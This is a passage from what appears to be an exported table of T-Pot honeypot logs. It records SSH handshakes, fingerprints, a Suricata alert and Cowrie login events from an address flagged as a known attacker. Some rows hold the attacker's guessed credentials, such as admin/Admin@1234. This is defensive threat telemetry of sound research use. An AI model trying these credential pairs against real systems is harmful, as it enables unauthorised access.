"in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43612, "dest_port": 22, "timestamp": "2021-09-20T11:51:05.228343Z", "@timestamp": "2021-09-20T11:51:05.228Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32353	81.71.14.9	109.199.241.180	Fatt	2021-09-20 14:51:05.228441+03	2021-09-20 15:00:03.373716+03	{"_id": "7gYLA3wBvYTbRNuEnknV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43612, "dest_port": 22, "timestamp": "2021-09-20T11:51:05.228441", "@timestamp": "2021-09-20T11:51:05.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32354	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:04.944735+03	2021-09-20 15:00:03.374716+03	{"_id": "8AYLA3wBvYTbRNuEoEk3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "168e4f4c79b6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:51:04.944735Z", "@timestamp": "2021-09-20T11:51:04.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32355	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:05.229045+03	2021-09-20 15:00:03.376716+03	{"_id": "8gYLA3wBvYTbRNuEoEk3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:05.229045Z", "@timestamp": "2021-09-20T11:51:05.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32356	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:06.467577+03	2021-09-20 15:00:03.377733+03	{"_id": "8wYLA3wBvYTbRNuEpEkf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.success", "message": "login attempt [admin/Admin@1234] succeeded", "session": "168e4f4c79b6", "@version": "1", "password": "Admin@1234", "username": "admin", "timestamp": "2021-09-20T11:51:06.467577Z", "@timestamp": "2021-09-20T11:51:06.467Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
32385	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:51:34.521261+03	2021-09-20 15:00:03.416717+03	{"_id": "dQYMA3wBvYTbRNuEE0oJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 2797, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1608606814762029, "@version": "1", "in_iface": "enp5s0", "src_port": 42541, "dest_port": 53, "timestamp": "2021-09-20T11:51:34.521261Z", "@timestamp": "2021-09-20T11:51:34.521Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32357	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:51:07.299872+03	2021-09-20 15:00:03.378746+03	{"_id": "9AYLA3wBvYTbRNuEpUmf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 1528454133211112, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43812, "dest_port": 22, "timestamp": "2021-09-20T11:51:07.299872Z", "@timestamp": "2021-09-20T11:51:07.299Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32358	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:07.024188+03	2021-09-20 15:00:03.37975+03	{"_id": "9gYLA3wBvYTbRNuEpkmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43812, "timestamp": "2021-09-20T11:51:07.024188", "@timestamp": "2021-09-20T11:51:07.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32359	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:07.300575+03	2021-09-20 15:00:03.381751+03	{"_id": "_QYLA3wBvYTbRNuEqEkJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6fb2f4cb76a7", "@version": "1", "timestamp": "2021-09-20T11:51:07.300575Z", "@timestamp": "2021-09-20T11:51:07.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32360	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:08.506411+03	2021-09-20 15:00:03.382748+03	{"_id": "AQYLA3wBvYTbRNuEq0rx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "6fb2f4cb76a7", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:51:08.506411Z", "@timestamp": "2021-09-20T11:51:08.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32361	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:51:05.228441+03	2021-09-20 15:00:03.383747+03	{"_id": "7AYLA3wBvYTbRNuEnUnO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:51:04.656571+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1617132322817211, "payload": "AAADzAYUh1JsmYn1XB4g5nO7GwqoNQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43612, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:51:05.228441Z", "@timestamp": "2021-09-20T11:51:05.228Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Rl...\\\\. .s..\\n.5...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32362	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:04.945813+03	2021-09-20 15:00:03.385718+03	{"_id": "7QYLA3wBvYTbRNuEnknV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43612, "timestamp": "2021-09-20T11:51:04.945813", "@timestamp": "2021-09-20T11:51:04.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32364	81.71.14.9	109.199.241.180	Fatt	2021-09-20 14:51:07.299975+03	2021-09-20 15:00:03.388717+03	{"_id": "9QYLA3wBvYTbRNuEpkmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43812, "dest_port": 22, "timestamp": "2021-09-20T11:51:07.299975", "@timestamp": "2021-09-20T11:51:07.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32365	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:07.023394+03	2021-09-20 15:00:03.389716+03	{"_id": "_wYLA3wBvYTbRNuEqEkJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6fb2f4cb76a7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": 